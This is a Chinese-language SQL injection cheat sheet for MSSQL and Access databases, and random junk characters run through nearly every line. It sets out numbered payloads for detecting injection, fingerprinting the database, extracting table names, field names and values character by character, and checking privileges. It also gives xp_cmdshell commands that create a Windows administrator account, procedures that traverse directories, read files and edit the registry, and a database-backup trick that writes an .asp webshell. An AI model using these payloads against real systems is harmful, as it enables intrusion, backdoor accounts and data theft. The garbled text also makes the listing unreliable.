1.判断是否有注入;and 1=1 ;and 1=2 E%;$vj'2
2.初步判断是否是mssql ;and user>0 CS(XN>N
?{}P#sn
3.注入参数是字符'and [查询条件] and ''=' =-~))!(
2z"<m2a
4.搜索时没过滤参数的'and [查询条件] and '%25'=' q5S_B]|
{ `Z~T&}~T
5.判断数据库系统 mR1b.$
%WKBd\O
;and (select count(*) from sysobjects)>0 mssql y$bY
8L
$T#fCx/
;and (select count(*) from msysobjects)>0 access pZK 1G
D
vvi)/<
4X*U~}
}apno|W&
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8X.=
6M
XN6$TNsD$
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?%su?L
xo?'L&%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 V=5S=7 Z:
/;w(sU
9.(1)猜字段的ascii值(access) %o4v} mzV
PYWFz
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2HSFMgy
Hc@_@G
(2)猜字段的ascii值(mssql) -
AgD
%.u*nM7sos
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 h~]e~u V
-BI!ZsC'
10.测试权限结构(mssql) $Zo|ta^
&*'^uCna
Fbu4GRgJ3
6M`gy|"(~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )eT>[['fm
?H,f|nc
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- vf@j d}?
o?m1
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- />}zB![(K
3M+rFB}tS
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /YUW)?o!^N
kppi>!6
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- QEbf]U=
AD<>)(
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @VW1^{.do^
$#+D:W)az
;and 1=(select IS_MEMBER('db_owner'));-- 7g]mrI@
(yi zM
"_LqIW1
HfhI9f_ x
11.添加mssql和系统的帐户 =No#/_
~GX
]K H
;exec master.dbo.sp_addlogin username;-- oy#(]K3`O
;exec master.dbo.sp_password null,username,password;-- `Mt|+iT$p
B+~ /-3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c1i:m'b_5
#$ k1w@
;exec master.dbo.xp_cmdshell 'net user username password %i/|}K
Q:Pp'[ RK
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- *yw!Y{e!9
U^GVz%\
;exec master.dbo.xp_cmdshell 'net user username password /add';-- z8'zH>
`pCy:J?d>l
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- LTzdg >\oJ
@v@F%JCZ
_eq$C=3Ta
hKN ;tq,
12.(1)遍历目录 C P&u
lEwQj[ k
;create table dirs(paths varchar(100), id int) `:~Wu/Ogr
GRYw_}Aa
;insert dirs exec master.dbo.xp_dirtree 'c:\' w{dRf!b69
M&hNkJK*G
;and (select top 1 paths from dirs)>0 'R'hRMD9o
P2f^]z
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HBvyX`-
=v::N\&
.TdFI"Yn
ezL1,GT
(2)遍历目录 &dWGa+e
ttJ'6lGXh
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- hx;kNcPbI
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XC~"T6F
1aIGC9xQ`
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4FZR }e\
Q>+rjN;
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 W/,:-R&'>
<_t]?XHB[
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =oh%-Sh:
sT!?nn3O`
i~v[3e9y7
s#aj5_G
13.mssql中的存储过程 ~' 955fK>
=`|BofR
xp_regenumvalues 注册表根键, 子键 Gv dok<o
/D;ugc*3
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :vEfJSA
1<
1;<Vr<.
xp_regread 根键,子键,键值名 x+za6e_k"
-hm/lxyU
;exec xp_regread y7!&
+:ms`Sr>
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Kn1;=k
L)\<7
xp_regwrite 根键,子键, 值名, 值类型, 值 'Z.C&6_
Zqe$S
+u
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f1'X<VA
C@:X9NU
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 F."ZCEb
e4Qjx*[G
xp_regdeletevalue 根键,子键,值名 PPySOkmS3
T6\]*mlr
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Pf%I6bVN9
Zazs".
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ^swj!da
h
x5M)8#+
CYE[$*g6y
x"C7NW[$
14.mssql的backup创建webshell %>9L}OAm
[QQM/ ?
use model _oG%bNM
nIlTzrf6
create table cmd(str image); x`C"Z7t
_6h.<BR
insert into cmd(str) values (''); Hik=(pTu>
t>N2K-8Qh
backup database model to disk='c:\l.asp'; 8LPWT! S
%B#T"=Cx
1QD49)
Cc{{9Ud
15.mssql内置函数 HbB8A#u
N3\RXXY
;and (select @@version)>0 获得Windows的版本号 2p;I<C:Eo
H? z~V-8
;and user_name()='dbo' 判断当前系统的连接用户是不是sa <>f;g"qS
O:rfDO
;and (select user_name())>0 爆当前系统的连接用户 {j`8XWLZZN
WFk%nO/
;and (select db_name())>0 得到当前连接的数据库 2!W[ff@~7
:tnW ivrwR
/8l@ndZf
ST[TKL<]
16.简洁的webshell S!$S'{f<
V0
Z8VqV
use model (j@c946z""
1fIx@
create table cmd(str image); O9?.J,,mVh
{`M\}(E
insert into cmd(str) values (''); e&T-GL
3ww\Z8UeK
backup database model to disk='g:\wwwtest\l.asp';